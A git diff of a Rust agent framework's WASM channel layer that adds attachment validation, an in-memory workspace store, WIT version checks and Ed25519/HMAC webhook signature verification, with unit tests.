#[error("HTTP request error: {0}")] HttpRequest(String), + + #[error("WIT version mismatch: {0}")] + IncompatibleWitVersion(String), } impl From for WasmChannelError { diff --git a/src/channels/wasm/host.rs b/src/channels/wasm/host.rs index 89b2a313..9f09455f 100644 --- a/src/channels/wasm/host.rs +++ b/src/channels/wasm/host.rs @@ -5,6 +5,7 @@ //! - Workspace write access (scoped to channel namespace) //! - Rate limiting for message emission +use std::collections::HashMap; use std::time::{SystemTime, UNIX_EPOCH}; use crate::channels::wasm::capabilities::{ChannelCapabilities, EmitRateLimitConfig}; @@ -17,6 +18,52 @@ const MAX_EMITS_PER_EXECUTION: usize = 100; /// Maximum message content size (64 KB). const MAX_MESSAGE_CONTENT_SIZE: usize = 64 * 1024; +/// A file or media attachment on an incoming message. +#[derive(Debug, Clone)] +pub struct Attachment { + /// Unique identifier within the channel (e.g., Telegram file_id). + pub id: String, + /// MIME type (e.g., "image/jpeg", "audio/ogg", "application/pdf"). + pub mime_type: String, + /// Original filename, if known. + pub filename: Option, + /// File size in bytes, if known. + pub size_bytes: Option, + /// URL to download the file from the channel's API. + pub source_url: Option, + /// Opaque key for host-side storage (e.g., after download/caching). + pub storage_key: Option, + /// Extracted text content (e.g., OCR result, PDF text, audio transcript). + pub extracted_text: Option, + /// Raw file bytes (for small files downloaded by the channel). + pub data: Vec, + /// Duration in seconds (for audio/video). + pub duration_secs: Option, +} + +/// Maximum total attachment size per message (20 MB). +const MAX_ATTACHMENT_TOTAL_SIZE: u64 = 20 * 1024 * 1024; + +/// Maximum number of attachments per message. +const MAX_ATTACHMENTS_PER_MESSAGE: usize = 10; + +/// Allowed MIME type prefixes for attachments. +const ALLOWED_MIME_PREFIXES: &[&str] = &[ + "image/", + "audio/", + "video/", + "application/pdf", + "application/vnd.", + "application/msword", + "application/rtf", + "text/", + "application/json", + "application/zip", + "application/gzip", + "application/x-tar", + "application/octet-stream", +]; + /// A message emitted by a WASM channel to be sent to the agent. #[derive(Debug, Clone)] pub struct EmittedMessage { @@ -35,6 +82,9 @@ pub struct EmittedMessage { /// Channel-specific metadata as JSON string. pub metadata_json: String, + /// File or media attachments on this message. + pub attachments: Vec, + /// Timestamp when the message was emitted. pub emitted_at_millis: u64, } @@ -48,6 +98,7 @@ impl EmittedMessage { content: content.into(), thread_id: None, metadata_json: "{}".to_string(), + attachments: Vec::new(), emitted_at_millis: SystemTime::now() .duration_since(UNIX_EPOCH) .map(|d| d.as_millis() as u64) @@ -72,6 +123,12 @@ impl EmittedMessage { self.metadata_json = metadata_json.into(); self } + + /// Set attachments. + pub fn with_attachments(mut self, attachments: Vec) -> Self { + self.attachments = attachments; + self + } } /// A pending workspace write operation. @@ -112,6 +169,13 @@ pub struct ChannelHostState { /// Count of emits dropped due to rate limiting. emits_dropped: usize, + + /// Binary data stored for attachments via `store-attachment-data`. + /// Keyed by attachment ID, cleared after callback completes. + attachment_data: HashMap>, + + /// Total bytes stored in attachment_data (for enforcing limits). + attachment_data_total: u64, } impl std::fmt::Debug for ChannelHostState { @@ -141,6 +205,8 @@ impl ChannelHostState { emit_count: 0, emit_enabled: true, emits_dropped: 0, + attachment_data: HashMap::new(), + attachment_data_total: 0, } } @@ -168,6 +234,7 @@ impl ChannelHostState { /// /// Messages are queued and delivered after callback execution completes. /// Rate limiting is enforced per-execution and globally. + /// Attachments are validated for count, total size, and MIME type. pub fn emit_message(&mut self, msg: EmittedMessage) -> Result<(), WasmChannelError> { // Check per-execution limit if !self.emit_enabled { @@ -186,6 +253,9 @@ impl ChannelHostState { return Ok(()); } + // Validate attachments + let msg = self.validate_attachments(msg); + // Validate message content size if msg.content.len() > MAX_MESSAGE_CONTENT_SIZE { tracing::warn!( @@ -209,6 +279,71 @@ impl ChannelHostState { Ok(()) } + /// Validate and sanitize attachments on an emitted message. + /// + /// Enforces count limits, total size limits, and MIME type allowlist. + /// Invalid attachments are dropped with a warning. + fn validate_attachments(&self, mut msg: EmittedMessage) -> EmittedMessage { + if msg.attachments.is_empty() { + return msg; + } + + // Enforce attachment count limit + if msg.attachments.len() > MAX_ATTACHMENTS_PER_MESSAGE { + tracing::warn!( + channel = %self.channel_name, + count = msg.attachments.len(), + max = MAX_ATTACHMENTS_PER_MESSAGE, + "Too many attachments, truncating" + ); + msg.attachments.truncate(MAX_ATTACHMENTS_PER_MESSAGE); + } + + // Filter by MIME type and enforce total size limit + let mut total_size: u64 = 0; + msg.attachments.retain(|att| { + let mime_ok = ALLOWED_MIME_PREFIXES + .iter() + .any(|prefix| att.mime_type.starts_with(prefix)); + if !mime_ok { + tracing::warn!( + channel = %self.channel_name, + mime_type = %att.mime_type, + "Attachment MIME type not allowed, dropping" + ); + return false; + } + + // Use the larger of reported size_bytes and actual stored data size + // to prevent WASM channels from under-reporting to bypass limits. + let stored_size = self + .attachment_data + .get(&att.id) + .map(|d| d.len() as u64) + .unwrap_or(att.data.len() as u64); + let size = att + .size_bytes + .map(|reported| reported.max(stored_size)) + .unwrap_or(stored_size); + if size > 0 { + total_size = total_size.saturating_add(size); + if total_size > MAX_ATTACHMENT_TOTAL_SIZE { + tracing::warn!( + channel = %self.channel_name, + total_size, + max = MAX_ATTACHMENT_TOTAL_SIZE, + "Attachment total size exceeded, dropping" + ); + return false; + } + } + + true + }); + + msg + } + /// Take all emitted messages (clears the queue). pub fn take_emitted_messages(&mut self) -> Vec { std::mem::take(&mut self.emitted_messages) @@ -224,6 +359,69 @@ impl ChannelHostState { self.emits_dropped } + /// Store binary data for an attachment. + /// + /// Called by WASM channels to associate downloaded bytes with an attachment ID. + /// The data is retrieved after callback completion and merged into `Attachment::data`. + pub fn store_attachment_data( + &mut self, + attachment_id: &str, + data: Vec, + ) -> Result<(), WasmChannelError> { + const MAX_PER_ATTACHMENT: u64 = 20 * 1024 * 1024; // 20 MB + const MAX_TOTAL: u64 = 50 * 1024 * 1024; // 50 MB + + let size = data.len() as u64; + if size > MAX_PER_ATTACHMENT { + return Err(WasmChannelError::CallbackFailed { + name: self.channel_name.clone(), + reason: format!( + "Attachment data too large: {} bytes (max {})", + size, MAX_PER_ATTACHMENT + ), + }); + } + + // Subtract the old entry size (if overwriting) before adding new size + let old_size = self + .attachment_data + .get(attachment_id) + .map(|d| d.len() as u64) + .unwrap_or(0); + let adjusted_total = self.attachment_data_total.saturating_sub(old_size); + let new_total = adjusted_total.saturating_add(size); + if new_total > MAX_TOTAL { + return Err(WasmChannelError::CallbackFailed { + name: self.channel_name.clone(), + reason: format!( + "Total attachment data too large: {} bytes (max {})", + new_total, MAX_TOTAL + ), + }); + } + + self.attachment_data_total = new_total; + self.attachment_data.insert(attachment_id.to_string(), data); + Ok(()) + } + + /// Remove stored binary data for a specific attachment ID. + pub fn remove_attachment_data(&mut self, id: &str) -> Option> { + if let Some(data) = self.attachment_data.remove(id) { + self.attachment_data_total = + self.attachment_data_total.saturating_sub(data.len() as u64); + Some(data) + } else { + None + } + } + + /// Take all stored attachment data (clears the store). + pub fn take_attachment_data(&mut self) -> HashMap> { + self.attachment_data_total = 0; + std::mem::take(&mut self.attachment_data) + } + /// Write to workspace (scoped to channel namespace). /// /// Writes are queued and committed after callback execution completes. @@ -300,6 +498,51 @@ impl ChannelHostState { } } +/// In-memory workspace store for WASM channels. +/// +/// Persists workspace writes across callback invocations within a single +/// channel lifetime. This allows WASM channels to maintain state (e.g., +/// Telegram polling offsets) between poll ticks without requiring a +/// full database-backed workspace. +/// +/// Uses `std::sync::RwLock` (not tokio) because WASM execution runs +/// inside `spawn_blocking`. +pub struct ChannelWorkspaceStore { + data: std::sync::RwLock>, +} + +impl ChannelWorkspaceStore { + /// Create a new empty workspace store. + pub fn new() -> Self { + Self { + data: std::sync::RwLock::new(std::collections::HashMap::new()), + } + } + + /// Commit pending writes from a callback execution into the store. + pub fn commit_writes(&self, writes: &[PendingWorkspaceWrite]) { + if writes.is_empty() { + return; + } + if let Ok(mut data) = self.data.write() { + for write in writes { + tracing::debug!( + path = %write.path, + content_len = write.content.len(), + "Committing workspace write to channel store" + ); + data.insert(write.path.clone(), write.content.clone()); + } + } + } +} + +impl crate::tools::wasm::WorkspaceReader for ChannelWorkspaceStore { + fn read(&self, path: &str) -> Option { + self.data.read().ok()?.get(path).cloned() + } +} + /// Rate limiter for channel message emission. /// /// Tracks emission rates across multiple executions. @@ -386,7 +629,8 @@ impl ChannelEmitRateLimiter { mod tests { use crate::channels::wasm::capabilities::{ChannelCapabilities, EmitRateLimitConfig}; use crate::channels::wasm::host::{ - ChannelEmitRateLimiter, ChannelHostState, EmittedMessage, MAX_EMITS_PER_EXECUTION, + Attachment, ChannelEmitRateLimiter, ChannelHostState, EmittedMessage, + MAX_ATTACHMENT_TOTAL_SIZE, MAX_ATTACHMENTS_PER_MESSAGE, MAX_EMITS_PER_EXECUTION, }; #[test] @@ -497,4 +741,351 @@ mod tests { assert_eq!(state.channel_name(), "telegram"); } + + #[test] + fn test_channel_workspace_store_commit_and_read() { + use crate::channels::wasm::host::{ChannelWorkspaceStore, PendingWorkspaceWrite}; + use crate::tools::wasm::WorkspaceReader; + + let store = ChannelWorkspaceStore::new(); + + // Initially empty + assert!(store.read("channels/telegram/offset").is_none()); + + // Commit some writes + let writes = vec![ + PendingWorkspaceWrite { + path: "channels/telegram/offset".to_string(), + content: "103".to_string(), + }, + PendingWorkspaceWrite { + path: "channels/telegram/state.json".to_string(), + content: r#"{"ok":true}"#.to_string(), + }, + ]; + store.commit_writes(&writes); + + // Should be readable + assert_eq!( + store.read("channels/telegram/offset"), + Some("103".to_string()) + ); + assert_eq!( + store.read("channels/telegram/state.json"), + Some(r#"{"ok":true}"#.to_string()) + ); + + // Overwrite a value + let writes2 = vec![PendingWorkspaceWrite { + path: "channels/telegram/offset".to_string(), + content: "200".to_string(), + }]; + store.commit_writes(&writes2); + assert_eq!( + store.read("channels/telegram/offset"), + Some("200".to_string()) + ); + + // Empty writes are a no-op + store.commit_writes(&[]); + assert_eq!( + store.read("channels/telegram/offset"), + Some("200".to_string()) + ); + } + + // === QA Plan P2 - 2.3: WASM channel lifecycle tests === + + #[test] + fn test_workspace_write_then_read_round_trip() { + // Full lifecycle: write in one "callback", commit, then read in a + // subsequent "callback" using the same store as the workspace reader. + use crate::channels::wasm::host::ChannelWorkspaceStore; + use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader}; + use std::sync::Arc; + + let store = Arc::new(ChannelWorkspaceStore::new()); + + // --- Callback 1: write workspace data --- + let caps = ChannelCapabilities::for_channel("telegram"); + let mut state = ChannelHostState::new("telegram", caps); + + state + .workspace_write("offset", "12345".to_string()) + .unwrap(); + state + .workspace_write("state.json", r#"{"ok":true}"#.to_string()) + .unwrap(); + + let writes = state.take_pending_writes(); + assert_eq!(writes.len(), 2); + store.commit_writes(&writes); + + // --- Callback 2: read back the data written in callback 1 --- + // Build capabilities with the store as the workspace reader. + let mut caps2 = ChannelCapabilities::for_channel("telegram"); + caps2.tool_capabilities.workspace_read = Some(WorkspaceCapability { + allowed_prefixes: vec![], // empty = all paths allowed + reader: Some(Arc::clone(&store) as Arc), + }); + let state2 = ChannelHostState::new("telegram", caps2); + + // workspace_read prefixes path with "channels/telegram/" before delegating. + let offset = state2.workspace_read("offset").unwrap(); + assert_eq!(offset, Some("12345".to_string())); + + let json = state2.workspace_read("state.json").unwrap(); + assert_eq!(json, Some(r#"{"ok":true}"#.to_string())); + + // Non-existent key returns None. + let missing = state2.workspace_read("no_such_key").unwrap(); + assert!(missing.is_none()); + } + + #[test] + fn test_workspace_overwrite_across_callbacks() { + // Verify that a second write to the same key overwrites the first. + use crate::channels::wasm::host::ChannelWorkspaceStore; + use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader}; + use std::sync::Arc; + + let store = Arc::new(ChannelWorkspaceStore::new()); + + // Callback 1: write initial value. + let caps = ChannelCapabilities::for_channel("slack"); + let mut state = ChannelHostState::new("slack", caps); + state.workspace_write("cursor", "100".to_string()).unwrap(); + let writes = state.take_pending_writes(); + store.commit_writes(&writes); + + // Callback 2: overwrite the same key. + let caps2 = ChannelCapabilities::for_channel("slack"); + let mut state2 = ChannelHostState::new("slack", caps2); + state2.workspace_write("cursor", "200".to_string()).unwrap(); + let writes2 = state2.take_pending_writes(); + store.commit_writes(&writes2); + + // Callback 3: read back -- should see the overwritten value. + let mut caps3 = ChannelCapabilities::for_channel("slack"); + caps3.tool_capabilities.workspace_read = Some(WorkspaceCapability { + allowed_prefixes: vec![], + reader: Some(Arc::clone(&store) as Arc), + }); + let state3 = ChannelHostState::new("slack", caps3); + + let value = state3.workspace_read("cursor").unwrap(); + assert_eq!(value, Some("200".to_string())); + } + + #[test] + fn test_emit_and_take_preserves_order_and_content() { + // Emit multiple messages, take them, verify order and content. + let caps = ChannelCapabilities::for_channel("discord"); + let mut state = ChannelHostState::new("discord", caps); + + let messages_data = vec![ + ("user-a", "Hello from A"), + ("user-b", "Hello from B"), + ("user-a", "Follow-up from A"), + ]; + for (uid, content) in &messages_data { + state + .emit_message(EmittedMessage::new(*uid, *content)) + .unwrap(); + } + + assert_eq!(state.emitted_count(), 3); + + let taken = state.take_emitted_messages(); + assert_eq!(taken.len(), 3); + + // Order preserved. + for (i, (uid, content)) in messages_data.iter().enumerate() { + assert_eq!(taken[i].user_id, *uid); + assert_eq!(taken[i].content, *content); + } + + // Take empties the queue. + assert_eq!(state.emitted_count(), 0); + let taken2 = state.take_emitted_messages(); + assert!(taken2.is_empty()); + } + + #[test] + fn test_channels_have_isolated_namespaces() { + // Two channels writing to the same relative path should not collide. + use crate::channels::wasm::host::ChannelWorkspaceStore; + use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader}; + use std::sync::Arc; + + let store = Arc::new(ChannelWorkspaceStore::new()); + + // Telegram writes "offset" = "100". + let caps_tg = ChannelCapabilities::for_channel("telegram"); + let mut state_tg = ChannelHostState::new("telegram", caps_tg); + state_tg + .workspace_write("offset", "100".to_string()) + .unwrap(); + store.commit_writes(&state_tg.take_pending_writes()); + + // Slack writes "offset" = "200". + let caps_sl = ChannelCapabilities::for_channel("slack"); + let mut state_sl = ChannelHostState::new("slack", caps_sl); + state_sl + .workspace_write("offset", "200".to_string()) + .unwrap(); + store.commit_writes(&state_sl.take_pending_writes()); + + // Reading back: each channel sees its own value. + let mut caps_tg_read = ChannelCapabilities::for_channel("telegram"); + caps_tg_read.tool_capabilities.workspace_read = Some(WorkspaceCapability { + allowed_prefixes: vec![], + reader: Some(Arc::clone(&store) as Arc), + }); + let tg_reader = ChannelHostState::new("telegram", caps_tg_read); + assert_eq!( + tg_reader.workspace_read("offset").unwrap(), + Some("100".to_string()) + ); + + let mut caps_sl_read = ChannelCapabilities::for_channel("slack"); + caps_sl_read.tool_capabilities.workspace_read = Some(WorkspaceCapability { + allowed_prefixes: vec![], + reader: Some(Arc::clone(&store) as Arc), + }); + let sl_reader = ChannelHostState::new("slack", caps_sl_read); + assert_eq!( + sl_reader.workspace_read("offset").unwrap(), + Some("200".to_string()) + ); + } + + // === Attachment validation tests === + + fn make_attachment(id: &str, mime: &str, size: Option) -> Attachment { + Attachment { + id: id.to_string(), + mime_type: mime.to_string(), + filename: None, + size_bytes: size, + source_url: None, + storage_key: None, + extracted_text: None, + data: Vec::new(), + duration_secs: None, + } + } + + #[test] + fn test_emit_message_with_attachments() { + let caps = ChannelCapabilities::for_channel("test"); + let mut state = ChannelHostState::new("test", caps); + + let msg = EmittedMessage::new("user1", "Check this image") + .with_attachments(vec![make_attachment("file1", "image/jpeg", Some(1024))]); + + state.emit_message(msg).unwrap(); + + let messages = state.take_emitted_messages(); + assert_eq!(messages.len(), 1); + assert_eq!(messages[0].attachments.len(), 1); + assert_eq!(messages[0].attachments[0].id, "file1"); + assert_eq!(messages[0].attachments[0].mime_type, "image/jpeg"); + assert_eq!(messages[0].attachments[0].size_bytes, Some(1024)); + } + + #[test] + fn test_emit_message_no_attachments_backward_compat() { + let caps = ChannelCapabilities::for_channel("test"); + let mut state = ChannelHostState::new("test", caps); + + let msg = EmittedMessage::new("user1", "Just text"); + state.emit_message(msg).unwrap(); + + let messages = state.take_emitted_messages(); + assert_eq!(messages.len(), 1); + assert!(messages[0].attachments.is_empty()); + } + + #[test] + fn test_attachment_count_limit() { + let caps = ChannelCapabilities::for_channel("test"); + let mut state = ChannelHostState::new("test", caps); + + let attachments: Vec = (0..MAX_ATTACHMENTS_PER_MESSAGE + 5) + .map(|i| make_attachment(&format!("file{}", i), "image/png", Some(100))) + .collect(); + + let msg = EmittedMessage::new("user1", "Many files").with_attachments(attachments); + state.emit_message(msg).unwrap(); + + let messages = state.take_emitted_messages(); + assert_eq!(messages[0].attachments.len(), MAX_ATTACHMENTS_PER_MESSAGE); + } + + #[test] + fn test_attachment_total_size_limit() { + let caps = ChannelCapabilities::for_channel("test"); + let mut state = ChannelHostState::new("test", caps); + + // Each file is 1/3 of the limit, so 3 fit but 4th does not + let chunk_size = MAX_ATTACHMENT_TOTAL_SIZE / 3; + let attachments = vec![ + make_attachment("file1", "image/png", Some(chunk_size)), + make_attachment("file2", "image/png", Some(chunk_size)), + make_attachment("file3", "image/png", Some(chunk_size)), + make_attachment("file4", "image/png", Some(chunk_size)), + ]; + + let msg = EmittedMessage::new("user1", "Big files").with_attachments(attachments); + state.emit_message(msg).unwrap(); + + let messages = state.take_emitted_messages(); + // Only first 3 fit within the total size limit + assert_eq!(messages[0].attachments.len(), 3); + } + + #[test] + fn test_attachment_mime_type_filtering() { + let caps = ChannelCapabilities::for_channel("test"); + let mut state = ChannelHostState::new("test", caps); + + let attachments = vec![ + make_attachment("ok1", "image/jpeg", Some(100)), + make_attachment("bad1", "application/x-executable", Some(100)), + make_attachment("ok2", "application/pdf", Some(100)), + make_attachment("bad2", "application/x-msdos-program", Some(100)), + make_attachment("ok3", "text/plain", Some(100)), + make_attachment("ok4", "audio/mpeg", Some(100)), + make_attachment("ok5", "video/mp4", Some(100)), + ]; + + let msg = EmittedMessage::new("user1", "Mixed files").with_attachments(attachments); + state.emit_message(msg).unwrap(); + + let messages = state.take_emitted_messages(); + let ids: Vec<&str> = messages[0] + .attachments + .iter() + .map(|a| a.id.as_str()) + .collect(); + assert_eq!(ids, vec!["ok1", "ok2", "ok3", "ok4", "ok5"]); + } + + #[test] + fn test_attachment_unknown_size_allowed() { + let caps = ChannelCapabilities::for_channel("test"); + let mut state = ChannelHostState::new("test", caps); + + let attachments = vec![ + make_attachment("file1", "image/jpeg", None), + make_attachment("file2", "image/png", None), + ]; + + let msg = EmittedMessage::new("user1", "No sizes").with_attachments(attachments); + state.emit_message(msg).unwrap(); + + let messages = state.take_emitted_messages(); + assert_eq!(messages[0].attachments.len(), 2); + } } diff --git a/src/channels/wasm/loader.rs b/src/channels/wasm/loader.rs index 3f7fdb63..cf1a507f 100644 --- a/src/channels/wasm/loader.rs +++ b/src/channels/wasm/loader.rs @@ -11,28 +11,45 @@ use std::sync::Arc; use tokio::fs; +use crate::bootstrap::ironclaw_base_dir; use crate::channels::wasm::capabilities::ChannelCapabilities; use crate::channels::wasm::error::WasmChannelError; use crate::channels::wasm::runtime::WasmChannelRuntime; use crate::channels::wasm::schema::ChannelCapabilitiesFile; use crate::channels::wasm::wrapper::WasmChannel; +use crate::db::SettingsStore; use crate::pairing::PairingStore; +use crate::secrets::SecretsStore; /// Loads WASM channels from the filesystem. pub struct WasmChannelLoader { runtime: Arc, pairing_store: Arc, + settings_store: Option>, + secrets_store: Option>, } impl WasmChannelLoader { /// Create a new loader with the given runtime and pairing store. - pub fn new(runtime: Arc, pairing_store: Arc) -> Self { + pub fn new( + runtime: Arc, + pairing_store: Arc, + settings_store: Option>, + ) -> Self { Self { runtime, pairing_store, + settings_store, + secrets_store: None, } } + /// Set the secrets store for host-based credential injection in WASM channels. + pub fn with_secrets_store(mut self, store: Arc) -> Self { + self.secrets_store = Some(store); + self + } + /// Load a single WASM channel from a file pair. /// /// Expects: @@ -64,6 +81,7 @@ impl WasmChannelLoader { let cap_bytes = fs::read(cap_path).await?; let cap_file = ChannelCapabilitiesFile::from_bytes(&cap_bytes) .map_err(|e| WasmChannelError::InvalidCapabilities(e.to_string()))?; + cap_file.validate(); // Debug: log raw capabilities tracing::debug!( @@ -72,6 +90,14 @@ impl WasmChannelLoader { "Parsed capabilities file" ); + // Check WIT version compatibility + crate::tools::wasm::loader::check_wit_version_compat( + name, + cap_file.wit_version.as_deref(), + crate::tools::wasm::WIT_CHANNEL_VERSION, + ) + .map_err(|e| WasmChannelError::IncompatibleWitVersion(e.to_string()))?; + let caps = cap_file.to_capabilities(); // Debug: log resulting capabilities @@ -119,13 +145,17 @@ impl WasmChannelLoader { .await?; // Create the channel - let channel = WasmChannel::new( + let mut channel = WasmChannel::new( self.runtime.clone(), prepared, capabilities, config_json, self.pairing_store.clone(), + self.settings_store.clone(), ); + if let Some(ref secrets) = self.secrets_store { + channel = channel.with_secrets_store(Arc::clone(secrets)); + } tracing::info!( name = name, @@ -248,6 +278,20 @@ impl LoadedChannel { .and_then(|f| f.webhook_secret_header()) } + /// Get the signature verification key secret name from capabilities. + pub fn signature_key_secret_name(&self) -> Option { + self.capabilities_file + .as_ref() + .and_then(|f| f.signature_key_secret_name().map(|s| s.to_string())) + } + + /// Get the HMAC-SHA256 signing secret name from capabilities. + pub fn hmac_secret_name(&self) -> Option { + self.capabilities_file + .as_ref() + .and_then(|f| f.hmac_secret_name().map(|s| s.to_string())) + } + /// Get the webhook secret name from capabilities. pub fn webhook_secret_name(&self) -> String { self.capabilities_file @@ -349,10 +393,7 @@ pub struct DiscoveredChannel { /// Returns ~/.ironclaw/channels/ #[allow(dead_code)] pub fn default_channels_dir() -> PathBuf { - dirs::home_dir() - .unwrap_or_else(|| PathBuf::from(".")) - .join(".ironclaw") - .join("channels") + ironclaw_base_dir().join("channels") } #[cfg(test)] @@ -416,11 +457,23 @@ mod tests { assert!(channels.contains_key("channel")); } + #[test] + fn test_loaded_channel_signature_key_none_without_caps() { + // We can't easily construct a WasmChannel without a runtime, so test + // the delegation logic directly: when capabilities_file is None, the + // chain returns None (same logic as LoadedChannel::signature_key_secret_name). + let cap_file: Option = None; + let result = cap_file + .as_ref() + .and_then(|f| f.signature_key_secret_name().map(|s| s.to_string())); + assert_eq!(result, None); + } + #[tokio::test] async fn test_loader_invalid_name() { let config = WasmChannelRuntimeConfig::for_testing(); let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap()); - let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new())); + let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()), None); let dir = TempDir::new().unwrap(); let wasm_path = dir.path().join("test.wasm"); diff --git a/src/channels/wasm/mod.rs b/src/channels/wasm/mod.rs index 17ac7726..29c7632b 100644 --- a/src/channels/wasm/mod.rs +++ b/src/channels/wasm/mod.rs @@ -86,6 +86,9 @@ mod loader; mod router; mod runtime; mod schema; +pub(crate) mod signature; +#[allow(dead_code)] +pub(crate) mod storage; mod wrapper; // Core types diff --git a/src/channels/wasm/router.rs b/src/channels/wasm/router.rs index cbf8b7b8..9b0f3da1 100644 --- a/src/channels/wasm/router.rs +++ b/src/channels/wasm/router.rs @@ -42,6 +42,10 @@ pub struct WasmChannelRouter { secrets: RwLock>, /// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token"). secret_headers: RwLock>, + /// Ed25519 public keys for signature verification by channel name (hex-encoded). + signature_keys: RwLock>, + /// HMAC-SHA256 signing secrets for signature verification by channel name (Slack-style). + hmac_secrets: RwLock>, } impl WasmChannelRouter { @@ -52,6 +56,8 @@ impl WasmChannelRouter { path_to_channel: RwLock::new(HashMap::new()), secrets: RwLock::new(HashMap::new()), secret_headers: RwLock::new(HashMap::new()), + signature_keys: RwLock::new(HashMap::new()), + hmac_secrets: RwLock::new(HashMap::new()), } } @@ -110,11 +116,28 @@ impl WasmChannelRouter { .unwrap_or_else(|| "X-Webhook-Secret".to_string()) } + /// Update the webhook secret for an already-registered channel. + /// + /// This is used when credentials are saved after a channel was registered + /// without a secret (e.g., loaded at startup before the user configured it). + pub async fn update_secret(&self, channel_name: &str, secret: String) { + self.secrets + .write() + .await + .insert(channel_name.to_string(), secret); + tracing::info!( + channel = %channel_name, + "Updated webhook secret for channel" + ); + } + /// Unregister a channel and its endpoints. pub async fn unregister(&self, channel_name: &str) { self.channels.write().await.remove(channel_name); self.secrets.write().await.remove(channel_name); self.secret_headers.write().await.remove(channel_name); + self.signature_keys.write().await.remove(channel_name); + self.hmac_secrets.write().await.remove(channel_name); // Remove all paths for this channel self.path_to_channel @@ -159,6 +182,54 @@ impl WasmChannelRouter { pub async fn list_paths(&self) -> Vec { self.path_to_channel.read().await.keys().cloned().collect() } + + /// Register an Ed25519 public key for signature verification. + /// + /// Validates that the key is valid hex encoding of a 32-byte Ed25519 public key. + /// Channels with a registered key will have Discord-style Ed25519 + /// signature validation performed before forwarding to WASM. + pub async fn register_signature_key( + &self, + channel_name: &str, + public_key_hex: &str, + ) -> Result<(), String> { + use ed25519_dalek::VerifyingKey; + + let key_bytes = hex::decode(public_key_hex).map_err(|e| format!("invalid hex: {e}"))?; + VerifyingKey::try_from(key_bytes.as_slice()) + .map_err(|e| format!("invalid Ed25519 public key: {e}"))?; + + self.signature_keys + .write() + .await + .insert(channel_name.to_string(), public_key_hex.to_string()); + Ok(()) + } + + /// Get the signature verification key for a channel. + /// + /// Returns `None` if no key is registered (no signature check needed). + pub async fn get_signature_key(&self, channel_name: &str) -> Option { + self.signature_keys.read().await.get(channel_name).cloned() + } + + /// Register an HMAC-SHA256 signing secret for signature verification. + /// + /// Channels with a registered secret will have Slack-style HMAC-SHA256 + /// signature validation performed before forwarding to WASM. + pub async fn register_hmac_secret(&self, channel_name: &str, secret: &str) { + self.hmac_secrets + .write() + .await + .insert(channel_name.to_string(), secret.to_string()); + } + + /// Get the HMAC signing secret for a channel. + /// + /// Returns `None` if no secret is registered (no HMAC check needed). + pub async fn get_hmac_secret(&self, channel_name: &str) -> Option { + self.hmac_secrets.read().await.get(channel_name).cloned() + } } impl Default for WasmChannelRouter { @@ -327,6 +398,108 @@ async fn webhook_handler( } } + // Ed25519 signature verification (Discord-style) + if let Some(pub_key_hex) = state.router.get_signature_key(channel_name).await { + let sig_hex = headers + .get("x-signature-ed25519") + .and_then(|v| v.to_str().ok()); + let timestamp = headers + .get("x-signature-timestamp") + .and_then(|v| v.to_str().ok()); + + match (sig_hex, timestamp) { + (Some(sig), Some(ts)) => { + let now_secs = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs() as i64; + + if !crate::channels::wasm::signature::verify_discord_signature( + &pub_key_hex, + sig, + ts, + &body, + now_secs, + ) { + tracing::warn!( + channel = %channel_name, + "Ed25519 signature verification failed" + ); + return ( + StatusCode::UNAUTHORIZED, + Json(serde_json::json!({ + "error": "Invalid signature" + })), + ); + } + tracing::debug!(channel = %channel_name, "Ed25519 signature verified"); + } + _ => { + tracing::warn!( + channel = %channel_name, + "Signature headers missing but key is registered" + ); + return ( + StatusCode::UNAUTHORIZED, + Json(serde_json::json!({ + "error": "Missing signature headers" + })), + ); + } + } + } + + // HMAC-SHA256 signature verification (Slack-style) + if let Some(hmac_secret) = state.router.get_hmac_secret(channel_name).await { + let timestamp = headers + .get("x-slack-request-timestamp") + .and_then(|v| v.to_str().ok()); + let sig_header = headers + .get("x-slack-signature") + .and_then(|v| v.to_str().ok()); + + match (timestamp, sig_header) { + (Some(ts), Some(sig)) => { + let now_secs = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs() as i64; + + if !crate::channels::wasm::signature::verify_slack_signature( + &hmac_secret, + ts, + &body, + sig, + now_secs, + ) { + tracing::warn!( + channel = %channel_name, + "HMAC-SHA256 signature verification failed" + ); + return ( + StatusCode::UNAUTHORIZED, + Json(serde_json::json!({ + "error": "Invalid Slack signature" + })), + ); + } + tracing::debug!(channel = %channel_name, "HMAC-SHA256 signature verified"); + } + _ => { + tracing::warn!( + channel = %channel_name, + "Slack signature headers missing but secret is registered" + ); + return ( + StatusCode::UNAUTHORIZED, + Json(serde_json::json!({ + "error": "Missing Slack signature headers" + })), + ); + } + } + } + // Convert headers to HashMap let headers_map: HashMap = headers .iter() @@ -488,7 +661,7 @@ mod tests { let prepared = Arc::new(PreparedChannelModule { name: name.to_string(), description: format!("Test channel: {}", name), - component_bytes: Vec::new(), + component: None, limits: ResourceLimits::default(), }); @@ -501,6 +674,7 @@ mod tests { capabilities, "{}".to_string(), Arc::new(PairingStore::new()), + None, )) } @@ -629,4 +803,700 @@ mod tests { .await; assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret"); } + + // ── Category 3: Router HMAC Secret Management ─────────────────────── + + #[tokio::test] + async fn test_register_and_get_hmac_secret() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("slack"); + + router.register(channel, vec![], None, None).await; + + let hmac_secret = "my-slack-signing-secret"; + router.register_hmac_secret("slack", hmac_secret).await; + + let retrieved = router.get_hmac_secret("slack").await; + assert_eq!(retrieved, Some(hmac_secret.to_string())); + } + + #[tokio::test] + async fn test_no_hmac_secret_returns_none() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("slack"); + router.register(channel, vec![], None, None).await; + + // Slack has no HMAC secret registered + let secret = router.get_hmac_secret("slack").await; + assert!(secret.is_none()); + } + + #[tokio::test] + async fn test_unregister_removes_hmac_secret() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("slack"); + + let endpoints = vec![RegisteredEndpoint { + channel_name: "slack".to_string(), + path: "/webhook/slack".to_string(), + methods: vec!["POST".to_string()], + require_secret: false, 